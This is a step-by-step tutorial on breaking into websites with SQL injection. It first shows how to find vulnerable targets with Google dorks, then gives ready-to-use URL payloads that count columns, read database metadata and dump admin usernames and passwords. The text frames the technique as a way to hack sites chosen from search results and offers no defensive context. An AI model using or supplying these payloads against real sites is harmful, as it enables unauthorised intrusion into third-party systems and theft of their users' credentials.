How to hack Website using SQL Injection ?
In this tutorial we learn how to hack a WEB-SITE using
SQL-INJECTION(SQLI).Many guys said that they can’t understand SQLI method as
its a bit hard.and its really very hard to understand without knowing the
knowledge of SQL and its very hard to inject malacious code into url and get a
web site data base.so here we made this tutorial with easy steps.hope you will
all get it and like it
What is SQL Injection ?
SQL injection is a code
injection technique, used to attack data-driven applications, in which
malicious SQL statements are inserted into an entry field for execution (e.g.
to dump the database contents to the attacker). SQL injection must exploit a security vulnerability in an application's
software, for example, when user input is either incorrectly filtered for string
literal escape characters embedded in SQL statements or user
input is not strongly typed and unexpectedly
executed. SQL injection is mostly known as an attack vector for websites but can be used to attack any
type of SQL database.
SQL Injection Dorks.
Vulnerable Website.
(Use Google to find SQL Injection Vulnerable Website)
Firefox with Hack bar
add-on.
Little bit
understanding of SQL Injection and URL
Fresh Mind to
Understand it.
Step 1. Find Vulnerable website.
An attacker always use
Google, Bing or Yahoo search engine for searching SQL Injection
Vulnerable websites
using Dorks. (SQL Injection vulnerable URL is called Dorks which can be
easily found in SQL
Injection Vulnerable Website URL)
Search it on Google for
Eg. these are few SQL Injection Vulnerable Dorks. :-
___________
inurl:index.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:pageid=
________________
Use Google to search
Vulnerable websites.
Acutally what you have
to do is , go on google and type :
inurl :
index.php?id=1(or 2 or 3 or any number you like)
You will get a list of
websites . Choose one .
For Eg. www.targetwebsite.com/index.php?id=8
Make sure that at last
the URL has some syntax like this : index.php?id=2(or any other
number)
How to Check for
Vulnerability.
Open any website URL related
to SQL Injection Dorks.
Put Single Quote at the End of
the website URL ( ' )
Note :- To Check the
Vulnerability put single Quote ( ' ) at the end of the website URL and Hit
Enter.
For Eg. www.targetwebsite.com/index.php?id=2'
If the page remains same or
Not found then it's not vulnerable and if the page shows Error like
this :-
An error occurred...
You have an error in your SQL
syntax; check the manual that corresponds to your MySQL server
version for the right syntax
to use near ''/contentPage.php?id=8''' at line 1
or
An error occurred...
You have an error in your SQL
syntax; check the manual that corresponds to your MySQL server
version for the right syntax
to use near ''' at line 1
This means the website is
vulnerable to SQL Injection.
Step 2. Find the number of Columns.
Woh!! We found SQL Injection
Vulnerable webstie now it's time to find no. of Columns present in
the Database.
To do that replace that one
single quote ( ' ) with "Order By no." Statement until you find the
Error message.
Change the no. from
1,2,3,4,5,6,7,8,9,..... Until you get an Error Message like "Unknown
Column"
For Example :- Change it's
Order By 1,2,3,4 like below :-
www.targetwebsite.com/index.php?id=8
Order by 1
www.targetwebsite.com/index.php?id=8
Order by 2
www.targetwebsite.com/index.php?id=8
Order by 3
www.targetwebsite.com/index.php?id=8
Order by 4
www.targetwebsite.com/index.php?id=8
Order by 5
And Suppose above Method won't
work then use below method :-
www.targetwebsite.com/index.php?id=8
order by 1--
www.targetwebsite.com/index.php?id=8
order by 2--
www.targetwebsite.com/index.php?id=8
order by 3--
If you get an Error on Order
by 9 that means the DB have 8 number of Columns and If you had
found error on Order by 6 then
the DB have 5 number of Columns. We mean if you put Order by
12 and Suppose the DB have
only 11 no. of Columns then Website will show Error like this :-
An error occurred...
Unknown column '12' in 'order
clause'
This trick is actually used to
find the number of Columns in DB. Understand the Below example
and you will get to know.
www.targetwebsite.com/index.php?id=8
Order by 1 (No Error)
www.targetwebsite.com/index.php?id=8
Order by 2 (No Error)
www.targetwebsite.com/index.php?id=8
Order by 3 (No Error)
www.targetwebsite.com/index.php?id=8
Order by 4 (No Error)
www.targetwebsite.com/index.php?id=8
Order by 5 (No Error)
www.targetwebsite.com/index.php?id=8
Order by 6 (No Error)
www.targetwebsite.com/index.php?id=8
Order by 7 (No Error)
www.targetwebsite.com/index.php?id=8
Order by 8 (No Error)
www.targetwebsite.com/index.php?id=8
Order by 9 (No Error)
www.targetwebsite.com/index.php?id=8
Order by 10 (No Error)
www.targetwebsite.com/index.php?id=8
Order by 11 (No Error)
www.targetwebsite.com/index.php?id=8
Order by 12 (Error)
Here, our Vulnerable website
Showed Error on Order by 12 that means our Vulnerable website
have 11 number of columns in
it's DB.
So now here we found number of
columns in my DB :-
Number of Columns = 11
Step 3. Find the Vulnerable Column.
Basically if the
website is vulnerable then it have vulnerability in it's column and now it's
time to
find out that column.
Well we have successfully
discovered number of columns present in Database. let us find
Vulnerable Column by using the
Query "Union Select columns_sequence".
And also change the ID Value
to Negative, we mean Suppose the website have this URL
index.php?id=8 Change it to
index.php?id=-8. Just put minus sign "-" before ID value.
For Eg. If the Number of
Column is 11 then the query is as follow :-
www.targetwebsite.com/index.php?id=-8
union select 1,2,3,4,5,6,7,8,9,10,11--And Suppose
above Method won't work then
use below method:-www.targetwebsite.com/index.php?id=-8 and
1=2 union select
1,2,3,4,5,6,7,8,9,10,11--
And Once if the Query has been
Executed then it will display the number of Columns.
In the Above result, we found
three vulnerable Columns 2,3 and 4.
Let us take 2 as our tutorial.
Well... ! We found Vulnerable Columns,
Now Next Step.
Step 4. Finding version, Database and User.
Now its time to find out
website Database version and User
Just replace Vulnerable Column
no. with "version()"
For
Eg.
www.targetwebsite.com/index.php?id=-8
union select 1,version(),3,4,5,6,7,8,9,10,11--
And now Hit Enter : and you
will get result.
Now again do the same ,
replace Vulnerable column with different query like :- database(),
user()For Eg.
www.targetwebsite.com/index.php?id=-8
union select 1,version(),3,4,5,6,7,8,9,10,11--
www.targetwebsite.com/index.php?id=-8
union select 1,database(),3,4,5,6,7,8,9,10,11--
www.targetwebsite.com/index.php?id=-8
union select 1,user(),3,4,5,6,7,8,9,10,11--
And Suppose above Method won't
work then use below method :-
www.targetwebsite.com/index.php?id=-8
and 1=2 union select
1,unhex(hex(@@version)),3,4,5,6,7,8,9,10,11—
Step 5. Finding the Table name.
Here we found vulnerable
Column, DB , Version name and User . Now it's time to get the Table
name.
If the database version is 4
or above then you gave to guess the table name (Blind SQL Injection
attack)
Let us find now Table name of
the Database, Same here Replace Vulnerable Column number
with
"group_concat(table_name) and add the "from information_schema.tables
where
table_schema=database()"
For Eg.
www.targetwebsite.com/index.php?id=-8
union select
1,group_concat(table_name),3,4,5,6,7,8,9,10,11
from information_schema.tables where
table_schema=database()--
Now hit Enter and you can see
Complete Table of Database.
Great we found Table name now
find the table name that is related to admin or user .
When we performed this on our
target website we got to know that there is one table name :-
userDatabase. Let us choose
that table userdatabase and Go on Next step.
Step 6. Finding the Column name.
Now same to find Column names,
replace "group_concat(table_name) with
"group_concat(column_name)"
and Replace the "from
information_schema.tables where table_schema=database()--" with
"FROM
information_schema.columns WHERE table_name=mysqlchar—
Note :- Do not hit Enter
now.... First of all Convert
table name into Mysql Char
String()
Install the Hackbar add-on in
Firefox
After Installing you can see
the toolbar, and if you can't then Hit F9.Select sql->Mysql-
>MysqlChar() in the
Hackbar.
Enter the Table name you want
to convert it into Mysql Char
Now you can see the Char like
this :-
Copy and paste the code at the
end of the url instead of the "mysqlchar"
For Eg.
www.targetwebsite.com/index.php?id=-8
union select
1,group_concat(column_name),3,4,5,6,7,8,9,10,11
FROM information_schema.columns WHERE
table_name=CHAR(117, 115, 101,
114, 68, 97, 116, 97, 98, 97, 115, 101)--
And Now Hit Enter and you will
be able to see the Column names .
Great Here we found Username
and Password Column .
Step 7. Explore Database & Hack it.
Cool......! Now you know the
next step what to do ..... get the ID and Password of Admin user
using this Command into
URL.Now replace group_concat(column_name) with
group_concat(username,0x2a,password).
or any other Column name you want to get Data.
For Eg.
http://targetwebsite.com/index.php?id=-8
and 1=2 union select
1,group_concat(username,0x2a,password),3,4,5,6,7,8,9,10,11
from userDatabase—
If the above Command doesn't
work then use Column name from first and put all Columns at one
time and you will be able to
get the complete database.
Best of Luck!
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